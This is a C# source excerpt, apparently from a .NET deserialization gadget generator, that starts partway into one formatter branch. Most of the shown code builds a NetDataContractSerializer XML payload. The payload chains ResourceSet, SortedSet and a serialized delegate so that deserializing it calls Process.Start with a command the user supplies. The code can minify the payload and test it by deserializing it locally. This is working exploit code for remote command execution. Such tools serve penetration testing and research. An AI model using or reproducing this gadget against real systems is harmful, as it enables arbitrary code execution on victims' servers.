                            Debugging.ShowErrors(inputArgs, err);
                        }
                    }
                    return(lfSerializedObj);
                }
                //return Serialize(myResourceSet, formatter, inputArgs);
            }
            else if (formatter.Equals("netdatacontractserializer", StringComparison.OrdinalIgnoreCase))
            {
                inputArgs.CmdType = CommandArgSplitter.CommandType.XML;

                string cmdPart = "";

                if (inputArgs.HasArguments)
                {
                    cmdPart = "<c:string>" + inputArgs.CmdArguments + "</c:string><c:string>" + inputArgs.CmdFileName + "</c:string>";
                }
                else
                {
                    cmdPart = @"<c:string a:nil=""true""/><c:string>" + inputArgs.CmdFileName + "</c:string>";
                }

                string ndcPayload = @"<ResourceSet b:Type=""System.Resources.ResourceSet"" b:Assembly=""0"" xmlns=""http://schemas.datacontract.org/2004/07/System.Resources"" xmlns:a=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/""><Table b:Type=""System.Collections.Hashtable"" b:Assembly=""0"" xmlns:c=""http://schemas.microsoft.com/2003/10/Serialization/Arrays""><LoadFactor b:Type=""System.Single"" b:Assembly=""0"" xmlns="""">0</LoadFactor><Version b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">1</Version><HashSize b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">3</HashSize><Keys b:Type=""System.Object[]"" b:Assembly=""0"" b:Size=""1"" xmlns=""""><c:anyType b:Type=""System.String"" b:Assembly=""0""/></Keys><Values b:Type=""System.Object[]"" b:Assembly=""0"" b:Size=""1"" xmlns=""""><c:anyType b:Type=""System.Collections.Generic.SortedSet`1[[System.String,mscorlib]]"" b:Assembly=""System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089""><Count b:Type=""System.Int32"" b:Assembly=""0"">2</Count><Comparer b:Type=""System.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib]]"" b:Assembly=""0""><_comparison b:FactoryType=""d:DelegateSerializationHolder"" b:Type=""System.DelegateSerializationHolder"" b:Assembly=""0"" xmlns=""http://schemas.datacontract.org/2004/07/System.Collections.Generic"" xmlns:d=""http://schemas.datacontract.org/2004/07/System""><Delegate b:Type=""System.DelegateSerializationHolder+DelegateEntry"" b:Assembly=""0"" xmlns=""""><d:assembly b:Id=""1"">mscorlib</d:assembly><d:delegateEntry><d:assembly b:Ref=""1"" a:nil=""1""/><d:delegateEntry a:nil=""1""/><d:methodName b:Id=""2"">Compare</d:methodName><d:target a:nil=""1""/><d:targetTypeAssembly b:Ref=""1"" a:nil=""1""/><d:targetTypeName b:Id=""3"">System.String</d:targetTypeName><d:type>System.Comparison`1[[System.String,mscorlib]]</d:type></d:delegateEntry><d:methodName b:Id=""4"">Start</d:methodName><d:target a:nil=""1""/><d:targetTypeAssembly b:Id=""5"">System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089</d:targetTypeAssembly><d:targetTypeName b:Id=""6"">System.Diagnostics.Process</d:targetTypeName><d:type>System.Func`3[[System.String,mscorlib],[System.String,mscorlib],[System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089]]</d:type></Delegate><method0 b:FactoryType=""e:MemberInfoSerializationHolder"" b:Type=""System.Reflection.MemberInfoSerializationHolder"" b:Assembly=""0"" xmlns=""""><Name b:Ref=""4"" a:nil=""1""/><AssemblyName b:Ref=""5"" a:nil=""1""/><ClassName b:Ref=""6"" a:nil=""1""/><Signature b:Type=""System.String"" b:Assembly=""0"">System.Diagnostics.Process Start(System.String, System.String)</Signature><MemberType b:Type=""System.Int32"" b:Assembly=""0"">8</MemberType><GenericArguments a:nil=""1""/></method0><method1 b:FactoryType=""e:MemberInfoSerializationHolder"" b:Type=""System.Reflection.MemberInfoSerializationHolder"" b:Assembly=""0"" xmlns=""""><Name b:Ref=""2"" a:nil=""1""/><AssemblyName b:Ref=""1"" a:nil=""1""/><ClassName b:Ref=""3"" a:nil=""1""/><Signature b:Type=""System.String"" b:Assembly=""0"">Int32 Compare(System.String, System.String)</Signature><MemberType b:Type=""System.Int32"" b:Assembly=""0"">8</MemberType></method1></_comparison></Comparer><Version b:Type=""System.Int32"" b:Assembly=""0"">2</Version><Items b:Type=""System.String[]"" b:Assembly=""0"" b:Size=""2"">" + cmdPart + @"</Items></c:anyType></Values></Table></ResourceSet>";

                System.Runtime.Serialization.NetDataContractSerializer ndcs = new System.Runtime.Serialization.NetDataContractSerializer();


                if (inputArgs.Minify)
                {
                    if (inputArgs.UseSimpleType)
                    {
                        ndcPayload = XMLMinifier.Minify(ndcPayload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, null, FormatterType.NetDataContractXML, true);
                    }
                    else
                    {
                        ndcPayload = XMLMinifier.Minify(ndcPayload, null, null, FormatterType.NetDataContractXML, true);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(ndcPayload));
                        ms.Position = 0;
                        ndcs.Deserialize(ms);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }

                return(ndcPayload);
                //return Serialize(myResourceSet, formatter, inputArgs);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }